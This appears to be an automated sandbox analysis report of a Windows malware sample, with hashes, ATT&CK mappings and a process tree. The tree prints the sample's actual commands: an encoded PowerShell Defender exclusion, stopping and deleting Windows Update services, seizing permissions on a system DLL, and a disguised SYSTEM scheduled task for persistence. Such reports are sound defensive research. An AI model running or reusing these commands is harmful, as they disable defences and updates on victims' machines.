a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301

General

Target

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
Size

7.6MB
MD5

95104aa61ed30687c13e5c644d5722f3
SHA1

f9788f808044d448f73203d93da0021cefb781ff
SHA256

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301
SHA512

99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1500 takeown.exe
1688 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1500 takeown.exe
1688 icacls.exe

pid	process
1500	takeown.exe
1688	icacls.exe

pid	process
1500	takeown.exe
1688	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Windows\services.exe	conhost.exe
File opened for modification	C:\Program Files\Windows\services.exe	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

280 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1748 reg.exe
1628 reg.exe
1516 reg.exe
1632 reg.exe
316 reg.exe
1548 reg.exe
576 reg.exe
776 reg.exe
1600 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

1692 powershell.exe
1384 conhost.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.execonhost.exetakeown.exe

description pid process

Token: SeDebugPrivilege 1692 powershell.exe
Token: SeDebugPrivilege 1384 conhost.exe
Token: SeTakeOwnershipPrivilege 1500 takeown.exe

pid	process
280	schtasks.exe

pid	process
1748	reg.exe
1628	reg.exe
1516	reg.exe
1632	reg.exe
316	reg.exe
1548	reg.exe
576	reg.exe
776	reg.exe
1600	reg.exe

pid	process
1692	powershell.exe
1384	conhost.exe

description	pid	process
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1384	conhost.exe
Token: SeTakeOwnershipPrivilege	1500	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1008 wrote to memory of 1384	1008	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1008 wrote to memory of 1384	1008	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1008 wrote to memory of 1384	1008	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1008 wrote to memory of 1384	1008	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1384 wrote to memory of 2024	1384	conhost.exe	cmd.exe
PID 1384 wrote to memory of 2024	1384	conhost.exe	cmd.exe
PID 1384 wrote to memory of 2024	1384	conhost.exe	cmd.exe
PID 2024 wrote to memory of 1692	2024	cmd.exe	powershell.exe
PID 2024 wrote to memory of 1692	2024	cmd.exe	powershell.exe
PID 2024 wrote to memory of 1692	2024	cmd.exe	powershell.exe
PID 1384 wrote to memory of 588	1384	conhost.exe	cmd.exe
PID 1384 wrote to memory of 588	1384	conhost.exe	cmd.exe
PID 1384 wrote to memory of 588	1384	conhost.exe	cmd.exe
PID 588 wrote to memory of 580	588	cmd.exe	sc.exe
PID 588 wrote to memory of 580	588	cmd.exe	sc.exe
PID 588 wrote to memory of 580	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1920	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1920	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1920	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1176	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1176	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1176	588	cmd.exe	sc.exe
PID 588 wrote to memory of 700	588	cmd.exe	sc.exe
PID 588 wrote to memory of 700	588	cmd.exe	sc.exe
PID 588 wrote to memory of 700	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1380	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1380	588	cmd.exe	sc.exe
PID 588 wrote to memory of 1380	588	cmd.exe	sc.exe
PID 588 wrote to memory of 776	588	cmd.exe	reg.exe
PID 588 wrote to memory of 776	588	cmd.exe	reg.exe
PID 588 wrote to memory of 776	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1600	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1600	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1600	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1748	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1748	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1748	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1628	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1628	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1628	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1516	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1516	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1516	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1500	588	cmd.exe	takeown.exe
PID 588 wrote to memory of 1500	588	cmd.exe	takeown.exe
PID 588 wrote to memory of 1500	588	cmd.exe	takeown.exe
PID 588 wrote to memory of 1688	588	cmd.exe	icacls.exe
PID 588 wrote to memory of 1688	588	cmd.exe	icacls.exe
PID 588 wrote to memory of 1688	588	cmd.exe	icacls.exe
PID 1384 wrote to memory of 1140	1384	conhost.exe	cmd.exe
PID 1384 wrote to memory of 1140	1384	conhost.exe	cmd.exe
PID 1384 wrote to memory of 1140	1384	conhost.exe	cmd.exe
PID 1140 wrote to memory of 280	1140	cmd.exe	schtasks.exe
PID 1140 wrote to memory of 280	1140	cmd.exe	schtasks.exe
PID 1140 wrote to memory of 280	1140	cmd.exe	schtasks.exe
PID 588 wrote to memory of 1632	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1632	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1632	588	cmd.exe	reg.exe
PID 588 wrote to memory of 316	588	cmd.exe	reg.exe
PID 588 wrote to memory of 316	588	cmd.exe	reg.exe
PID 588 wrote to memory of 316	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1548	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1548	588	cmd.exe	reg.exe
PID 588 wrote to memory of 1548	588	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
"C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1384

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
3⤵
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1692

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:588

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:1176

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
PID:1920

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
PID:580

C:\Windows\system32\sc.exe
sc stop bits
4⤵
PID:700

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
PID:1380

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:776

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1600

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:1748

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1628

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1500

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1516

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1688

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1632

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:316

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1548

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:576

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1856

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1696

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1016

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:808

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1008

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:2028

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1968

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
4⤵
- Creates scheduled task(s)
PID:280

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:676

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:864

C:\Windows\system32\taskeng.exe
taskeng.exe {8F1A1782-3646-432C-9F35-2195D7882870} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1344

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/280-79-0x0000000000000000-mapping.dmp

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memory/316-81-0x0000000000000000-mapping.dmp

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memory/576-83-0x0000000000000000-mapping.dmp

Download
memory/580-66-0x0000000000000000-mapping.dmp

Download
memory/588-65-0x0000000000000000-mapping.dmp

Download
memory/676-91-0x0000000000000000-mapping.dmp

Download
memory/700-69-0x0000000000000000-mapping.dmp

Download
memory/776-71-0x0000000000000000-mapping.dmp

Download
memory/808-87-0x0000000000000000-mapping.dmp

Download
memory/864-92-0x0000000000000000-mapping.dmp

Download
memory/1008-88-0x0000000000000000-mapping.dmp

Download
memory/1008-54-0x0000000000400000-0x0000000001119000-memory.dmp

Filesize
13.1MB

Download
memory/1016-86-0x0000000000000000-mapping.dmp

Download
memory/1140-78-0x0000000000000000-mapping.dmp

Download
memory/1176-68-0x0000000000000000-mapping.dmp

Download
memory/1380-70-0x0000000000000000-mapping.dmp

Download
memory/1384-57-0x000000001BB40000-0x000000001BF5C000-memory.dmp

Filesize
4.1MB

Download
memory/1384-56-0x0000000000160000-0x000000000057C000-memory.dmp

Filesize
4.1MB

Download
memory/1384-58-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp

Filesize
8KB

Download
memory/1500-76-0x0000000000000000-mapping.dmp

Download
memory/1516-75-0x0000000000000000-mapping.dmp

Download
memory/1548-82-0x0000000000000000-mapping.dmp

Download
memory/1600-72-0x0000000000000000-mapping.dmp

Download
memory/1628-74-0x0000000000000000-mapping.dmp

Download
memory/1632-80-0x0000000000000000-mapping.dmp

Download
memory/1688-77-0x0000000000000000-mapping.dmp

Download
memory/1692-60-0x0000000000000000-mapping.dmp

Download
memory/1692-64-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/1692-63-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/1692-62-0x000007FEEDB20000-0x000007FEEE67D000-memory.dmp

Filesize
11.4MB

Download
memory/1696-85-0x0000000000000000-mapping.dmp

Download
memory/1748-73-0x0000000000000000-mapping.dmp

Download
memory/1856-84-0x0000000000000000-mapping.dmp

Download
memory/1920-67-0x0000000000000000-mapping.dmp

Download
memory/1968-90-0x0000000000000000-mapping.dmp

Download
memory/2024-59-0x0000000000000000-mapping.dmp

Download
memory/2028-89-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads